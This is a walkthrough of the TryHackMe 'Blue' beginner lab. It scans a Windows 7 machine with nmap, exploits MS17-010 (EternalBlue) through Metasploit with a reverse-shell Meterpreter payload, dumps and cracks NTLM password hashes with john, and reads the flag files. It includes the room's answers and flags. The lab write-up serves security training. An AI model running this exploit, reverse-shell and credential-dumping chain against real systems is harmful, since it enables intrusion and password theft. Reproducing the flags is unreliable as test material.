Try Hack Me Writeup - Blue
- TryHackMe room: https://tryhackme.com/room/blue
- OS:
Windows 10
Deploy & hack into a Windows machine, leveraging common misconfigurations issues.
This is a complete and full writeup of the Blue room on Try Hack Me. This writeup has been made on August 2021. The steps in the walkthrough video available in this room are slightly different as software updates made in sort of these little procedure changes. This writeup reflect the curent state.
Art by one of our members, Varg - THM Profile - Instagram - Blue Merch - Twitter
Link to Ice, the sequel to Blue: Link
You can check out the third box in this series, Blaster, here: Link
The virtual machine used in this room (Blue) can be downloaded for offline usage from https://darkstar7471.com/resources.html
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
Tools Used
nmap- To enumerate the target host and also to get vulnerability information of that host.metasploit- The exploit tool.john- To crack the hash of the NTLM password.- A few very basic GNU / Linux commands.
Task 1 - Recon
Scan and learn what exploit this machine is vulnerable to. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up. This room is not meant to be a boot2root CTF, rather, this is an educational series for complete beginners. Professionals will likely get very little out of this room beyond basic practice as the process here is meant to be beginner-focused.
Once the virtual machine of TryHackMe booted up, I got my ip of that virtual machine. So moving on now on my Kali machine which is connected to the TryHackMe VPN, with the standard Network / VPN build in GUI tool of XFCE. As I have my ip of this virtual machine, I create an environment variable which will hold the ip of that virtual machine. That make things more easily to manage when using different applications. I then just refer to that ip variable without bothering too much about the ip itself or my typo errors.
export IP=10.10.19.224
So the first thing to do is to enumerate the virtual machine to find out what ports are open and to what this machine is vulnerable. For this I used nmap with the options to scan version numbering (-sV), execute the standard scan scripts (-sC) and an important one in this case, --script vuln. I also saved the scan result with -oN option in the normal nmap format (See -oA to save the result in the 3 different formats: normal, grepable and XML which is more handy if we want to import the scan results in for example metasploit). Finally, I refer to my environment variable $IP which hold the ip address of that virtual machine.
sudo nmap -sV -sC --script vuln -oN /tmp/blue_nmap_scan $IP
This scan takes a bit more time as it will check for know vulnerabilities. As following the output of the nmap scan:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-11 02:37 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.19.224
Host is up (0.032s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.37 seconds
We see that there are a few open ports. We also see that this machine is vulnerable to different exploits, and we even have links to more information:
- CVE-2012-0152
- CVE-2012-0002
- CVE-2017-0143
In this case, we are very interested in CVE-2017-0143. Clicking on the Mitre link from the output, gives us interesting information. On the Mitre link website, we have also links to other resources. It is very interesting to take a look to these different links. Especially those referencing to the https://exploit-db.com website.
Another very informative point in that nmap scan result line:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
The ms17-010 is something we will look up in the metasploit (msfconsole):
Answer the questions below
Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
No answer needed
How many ports are open with a port number under 1000?
3
What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
ms17-010
Task 2 - Gain Access
Exploit the machine and gain a foothold.
Starting up Metasploit with the command sudo msfconsole. Once loaded, I did a search on ms17-010 with the search command:
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
Interested in the first (#0) item in this search result. So I wanted to make use of it with:
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Note that you can use the full name of the matching module (use exploit/windows/smb/ms17_010_eternalblue) and using the tab key for autocompletion, or just refer to the number like I have done.
From there on, we need to see which options we need to set with the show options command:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targ
et machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target m
achines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.54 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
The 2 very important options we need to set before proceeding to the next step is changing the variables of RHOSTS and LHOST. The rest of the options I left as is:
set RHOSTS 10.10.19.224
set LHOST tun0
Note that here I have set LHOST to tun0, which is my VPN network device connected to the Try Hack Me network. This instead of filling in the ip address. Both methods are allowed. But setting up this variable is mandatory otherwise the exploit will not work. This isn’t mentioned in the walk through video and seems like this was not required back then.
Finally, execute the exploit with the run or exploit command. exploit is an alias to run:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.8.208.30:4444
[*] 10.10.19.224:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.19.224:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.19.224:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.19.224:445 - The target is vulnerable.
[*] 10.10.19.224:445 - Connecting to target for exploitation.
[+] 10.10.19.224:445 - Connection established for exploitation.
[+] 10.10.19.224:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.19.224:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.19.224:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.19.224:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.19.224:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.19.224:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.19.224:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.19.224:445 - Sending all but last fragment of exploit packet
[*] 10.10.19.224:445 - Starting non-paged pool grooming
[+] 10.10.19.224:445 - Sending SMBv2 buffers
[+] 10.10.19.224:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.19.224:445 - Sending final SMBv2 buffers.
[*] 10.10.19.224:445 - Sending last fragment of exploit packet!
[*] 10.10.19.224:445 - Receiving response from exploit packet
[+] 10.10.19.224:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.19.224:445 - Sending egg to corrupted connection.
[*] 10.10.19.224:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.19.224
[*] Meterpreter session 1 opened (10.8.208.30:4444 -> 10.10.19.224:49283) at 2021-08-11 03:23:11 +0200
[+] 10.10.19.224:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.19.224:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.19.224:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Answer the questions below
Start Metasploit
No answer needed
Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)
exploit/windows/smb/ms17_010_eternalblue
Show options and set the one required value. What is the name of this value? (All caps for submission)
RHOSTS
Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:
set payload windows/x64/shell/reverse_tcp
With that done, run the exploit!
No answer needed
Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
No answer needed
Task 3 - Escalate
Escalate privileges, learn how to upgrade shells in metasploit.
This whole section of Escalating can be completely skipped and is not like shown in the walk through video. As things have changed in the actual metasploit framework. These are now automatically done.
We can get confirmation with the getsystem and getuid commands:
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
So we have the user rights of NT AUTHORITY\SYSTEM which is perfect.
We can also check with the getpid and ps commands, and we see that the exploit has been migrated to a very stable spoolsv.exe process. The spoolsv.exe is a very stable and fast process. In the worst case, if that process crash, it automatically restarts, and we have back control of the target machine:
meterpreter > getpid
Current pid: 1312
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
432 708 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
484 708 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
560 552 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
608 552 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
620 600 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
660 600 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
708 608 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
716 608 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
724 608 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe
832 708 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
900 708 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
948 708 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1016 660 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
1080 708 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
1184 708 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
1312 708 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1348 708 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
1408 708 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1484 708 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\XenTools\LiteAgent.exe
1624 708 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1952 708 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
2084 832 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\wbem\wmiprvse.exe
2340 708 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
2372 708 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\sppsvc.exe
2512 708 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
2560 708 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe
2680 708 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\SearchIndexer.exe
3048 708 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
Answer the questions below
If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
post/multi/manage/shell_to_meterpreter
Select this (use MODULE_PATH). Show options, what option are we required to change?
session
Set the required option, you may need to list all of the sessions to find your target here.
No answer needed
Run! If this doesn’t work, try completing the exploit from the previous task once more.
No answer needed
Once the meterpreter shell conversion completes, select that session for use.
No answer needed
Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command ‘shell’ and run ‘whoami’. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
No answer needed
List all of the processes running via the ‘ps’ command. Just because we are system doesn’t mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
No answer needed
Migrate to this process using the ‘migrate PROCESS_ID’ command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
No answer needed
Task 4 - Cracking
Dump the non-default user’s password and crack it!
Dumping the hash password database can be simply done with the hashdump command:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Copied the whole last line and pasted it into a text file called jon_hash.txt.
echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > /tmp/jon_hash.txt
Cracking the password hash of the user jon with the john tool. Almost confusing:
john /tmp/jon_hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:00 DONE (2021-08-11 04:02) 2.272g/s 23182Kp/s 23182Kc/s 23182KC/s alr19882006..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
Note that if you already have cracked that password hash and re-execute that previous command, john will not show you the cracked password again. Pretty confusing. john saves cracked hashes in ~/.john/john.pot. Removing that file can be quick fix. See this link for more information.
Answer the questions below
Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
jon
Copy this password hash to a file and research how to crack it. What is the cracked password?
alqfna22
Task 5 - Find flags!
Find the three flags planted on this machine. These are not traditional flags, rather, they’re meant to represent key locations within the Windows system. Use the hints provided below to complete this room!
To accomplish this without guidance, requires a bit of researches on the system or on internet.
Note that we need to make use of double backslash when specifying paths. We can also make use of autocompletion by pressing the TAB key, but do not forget to remove the additional space that get added on the end.
The first, flag1.txt is located on the root of the C: drive:
meterpreter > pwd
C:\Windows\system32
meterpreter > cd c:\\
meterpreter > pwd
c:\
meterpreter > cat flag1.txt
flag{access_the_machine}
The second, flag2.txt is stored in the C:\windows\system32\config:
meterpreter > pwd
c:\
meterpreter > cd c:\\windows\\system32\\config
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}
The last, flag3.txt is stored in C:\Users\Jon\Documents :
meterpreter > pwd
c:\windows\system32\config
meterpreter > cd c:\\Users\\Jon\\Documents
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}
Answer the questions below
Flag1? This flag can be found at the system root.
flag{access_the_machine}
Flag2? This flag can be found at the location where passwords are stored within Windows.
*Errata: Windows really doesn’t like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.
flag{sam_database_elevated_access}
flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
flag{admin_documents_can_be_valuable}
After this
Completed Blue? Check out Ice: Link
You can check out the third box in this series, Blaster, here: Link